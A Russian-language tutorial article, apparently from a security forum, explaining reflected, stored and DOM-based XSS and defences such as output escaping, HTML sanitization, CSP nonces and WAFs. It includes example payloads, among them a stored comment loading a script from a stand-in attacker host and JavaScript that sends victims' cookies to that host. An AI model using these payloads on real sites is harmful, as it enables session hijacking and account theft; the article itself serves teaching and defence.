Сергей Попов
Администратор
- 30.12.2015
- 4 805
- 6 514
Зачем нам снова говорить про XSS в 2025?
Казалось бы, про XSS (Cross-Site Scripting) не слышал только ленивый. Уязвимость стара как мир, но почему мы опять поднимаем эту тему? Все просто. Загляните в свежие отчеты о пентестах или на Bug Bounty платформы. XSS никуда не делась. В рейтинге OWASP Top 10 за 2021 год она хоть и не выделена отдельным пунктом, но является ключевой частью категории A03:2021-Injection.Причина ее живучести — в недооценке. Для одних это "просто
alert()
во всплывающем окне", для других — сложная в отладке клиентская логика навороченных фронтенд-фреймворков. И пока разработчики считают ее чем-то несерьезным, пользователи лишаются своих аккаунтов, а компании — репутации.Эта статья — не очередное сухое перечисление фактов. Это выжимка опыта, которая поможет фронтендерам и начинающим спецам по ИБ понять механику XSS, научиться находить ее и, что самое главное, строить надежную защиту.
Анатомия XSS: разбираем три головы дракона
XSS-атаки бывают трех основных видов: Reflected (отраженная), Stored (хранимая) и DOM-based (на основе DOM). У каждой своя специфика. Чтобы не путаться, давайте сразу разложим по полочкам.Тип XSS | Механизм работы | Где искать и чего бояться |
---|---|---|
Reflected | Вредоносный скрипт — часть запроса (например, в URL). Сервер вставляет значение параметра в HTML-страницу без должного экранирования, и браузер жертвы сразу исполняет код. Требует участия пользователя (нужно заставить его перейти по ссылке). | Параметры поиска, страницы ошибок, любые поля, чьи значения попадают со строки запроса прямо в HTML. |
Stored | Самый опасный тип. Вредоносный код сохраняется на сервере (в базе данных, в файле) и становится частью страницы. Атака срабатывает на всех, кто эту страницу откроет. | Комментарии, посты на форумах, личные сообщения, поля профиля — все, что хранится в БД и выводится пользователям. |
DOM-based | Атака происходит исключительно на стороне клиента. Вредоносный скрипт заставляет легитимный JavaScript самого сайта неправильно обработать данные и записать вредоносный код в DOM-структуру страницы. Сервер может даже не знать об атаке. | Современные SPA-приложения (React, Angular, Vue). Искать в коде, который работает с location.hash , innerHTML , eval() , setTimeout() и другими DOM API. |
Пример №1: Классическая Reflected XSS
Это база, с которой все начинают. Представьте, что на сайте есть страница поиска, которая выводит ваш запрос:https://example.com/search?q=my-query
.Уязвимый код на сервере может выглядеть так (упрощенно):
PHP:
<?php
// Внимание: крайне небезопасный код!
?>
<h2>Результаты поиска по запросу: <?php echo $_GET['q']; ?></h2>
Код:
https://example.com/search?q=<script>alert('XSS от Codeby!')</script>
Пример №2: Опасная Stored XSS и кража сессии
А вот тут уже все серьезно. Представим форум с комментариями. Пользователь оставляет свой отзыв, и он сохраняется в базе данных.Эксплуатация:
Злоумышленник вместо обычного текста оставляет комментарий с вредоносным кодом:
HTML:
Крутая статья! Всем советую. <script src="http://attacker-site.com/payload.js"></script>
А что в файлеВажное предупреждение об ответственности: Демонстрация кражи сессии приведена исключительно в образовательных целях. Использование подобных техник против реальных сайтов и пользователей незаконно. Тестирование на безопасность должно проводиться только в специально отведенных для этого средах (pentest lab) или с явного письменного разрешения владельца ресурса (bug bounty программы).
payload.js
?Классический сценарий — кража сессионных cookie.
JavaScript:
// Этот код будет исполнен в браузере каждого посетителя
let stolenCookie = document.cookie;
// Создаем невидимое изображение, которое при попытке загрузки
// отправляет cookie жертвы на сервер атакующего в виде GET-параметра
new Image().src = 'http://attacker-site.com/steal?data=' + encodeURIComponent(stolenCookie);
session_id
пользователя, вставляет его себе в браузер и получает полный доступ к аккаунту жертвы. Это называется захват сессии (Session Hijacking). Подобный вектор может быть реализован самыми разными способами, например, через обращение в поддержку, как описано в кейсе Предотвращение XSS: Полное руководство по защите веб-сайта.Пример №3: Хитрая DOM-based XSS
Этот тип атаки цветет и пахнет в современных JavaScript-приложениях. Уязвимость кроется в клиентском коде, который небезопасно манипулирует DOM. Опасными "приемниками" (sinks) выступают не толькоinnerHTML
, но и функции вроде eval()
или setTimeout()
, если им передается строка, которую контролирует пользователь.Пример:
HTML:
<div id="username"></div>
<script>
// Скрипт берет имя пользователя из хэша.
// decodeURIComponent нужен, чтобы браузер правильно обработал спецсимволы в URL.
let userName = decodeURIComponent(window.location.hash.substring(1));
// И вставляет его прямо в HTML. Опасно!
document.getElementById('username').innerHTML = "Добро пожаловать, " + userName + "!";
</script>
Код:
https://vulnerable-site.com/#<img src=x onerror=alert('DOM XSS!')>
location.hash
и вставляет его в DOM.Строим крепость: методы защиты от XSS
Теория — это хорошо, но как защищаться на практике? Вот арсенал, который должен быть у каждого разработчика.1. Контекстное экранирование (Output Escaping)
Это главный принцип. Никогда не доверяй данным, которые выводишь в HTML. Перед выводом любые пользовательские данные нужно обрабатывать.НЕПРАВИЛЬНО:
PHP:
<?php echo "<div>$userInput</div>"; ?>
PHP:
<?php
// Безопасный вывод с экранированием
echo "<div>" . htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') . "</div>";
?>
2. Санитизация HTML (HTML Sanitization)
Если вам нужно разрешить пользователям форматирование (теги<b>
, <i>
), простое экранирование не подойдет. На помощь приходит санитизация — фильтрация HTML, которая вырезает все опасные теги и атрибуты. Для этого используйте готовые библиотеки, например, DOMPurify для JavaScript.3. Content-Security-Policy (CSP)
CSP — это мощнейший защитный барьер в виде HTTP-заголовка. Он говорит браузеру, откуда можно загружать и выполнять ресурсы. Важно понимать, что CSP не панацея, но он значительно снижает поверхность атаки и блокирует большинство векторов эксплуатации XSS.Более продвинутый пример с
nonce
:Для максимальной защиты от инлайн-скриптов можно использовать
nonce
(случайное значение, уникальное для каждого запроса).- Сервер генерирует случайную строку:
nonce-R4nd0mStr1ng...
- Отправляет заголовок:
Content-Security-Policy: script-src 'self' 'nonce-R4nd0mStr1ng...';
- Добавляет эту же строку ко всем легитимным тегам
<script>
на странице.
nonce
будет заблокирован браузером.4. Дополнительный рубеж: WAF
Web Application Firewall (WAF) — это еще один слой защиты. Он работает как фильтр перед вашим приложением и пытается блокировать вредоносные запросы. WAF — это хорошее дополнение, но он ни в коем случае не заменяет необходимость писать безопасный код. Он лишь дополняет его.Чек-лист «быстрой профилактики» для разработчика


.textContent
вместо .innerHTML
везде, где это возможно.


dangerouslySetInnerHTML
и аналоги.
Важно! Сканер — это не панацея. Он отлично находит простые Reflected и Stored XSS, но может пропустить сложную DOM-based XSS... Стоит отметить, что такие инструменты, как ZAP или Burp Suite, незаменимы и при поиске уязвимостей в современных API, что отлично показано в этом практическом кейсе по тестированию REST API.
Заключение
XSS — это не простоalert()
. Это реальная угроза, ведущая к компрометации аккаунтов, краже данных и финансовым потерям. Лучшая защита — это глубокое понимание вектора атаки и выстраивание эшелонированной обороны на всех уровнях приложения.Надеюсь, этот разбор был полезен. Делитесь в комментариях своим опытом борьбы с XSS, интересными находками и любимыми инструментами. Давайте делать веб безопаснее вместе! А для тех, кто хочет не просто ознакомиться с темой, а систематически изучить уязвимости веб-приложений и сделать это своей профессией, существуют профильные образовательные программы, например, курс по тестированию на проникновение от создателей нашего сообщества.
Часто задаваемые вопросы (FAQ)
1. Что такое XSS?XSS (Cross-Site Scripting) — это уязвимость, которая позволяет злоумышленнику внедрять вредоносный JavaScript на веб-страницу, которую просматривают другие пользователи.
2. Какой тип XSS самый опасный?
Stored (хранимая) XSS считается наиболее опасной, так как вредоносный код сохраняется на сервере и атакует каждого пользователя, который заходит на уязвимую страницу.
3. В чем разница между XSS и другими атаками (CSRF, SQLi, XXE)?
Это частая путаница. XSS и CSRF — это, в первую очередь, клиентские атаки, направленные на браузер пользователя. XSS позволяет выполнить свой код, а CSRF — заставить браузер жертвы выполнить нежелательное действие. Гайд по этой атаке: CSRF-уязвимость: что это, примеры и надежная защита
В отличие от них, существуют и чисто серверные уязвимости, где злоумышленник атакует напрямую логику бэкенда. Яркие примеры — это SQL-инъекции (атака на базу данных) и XXE (атака на обработчик XML). Для тех, кто хочет копнуть глубже в эту тему, рекомендую почитать про автоматизацию эксплуатации SQL-инъекций и про то, как работают XXE-уязвимости.
4. Как защититься от XSS?
Ключевые методы: контекстное экранирование, санитизация HTML, использование строгой Content-Security-Policy (CSP) и понимание механизмов защиты, встроенных в ваш фреймворк.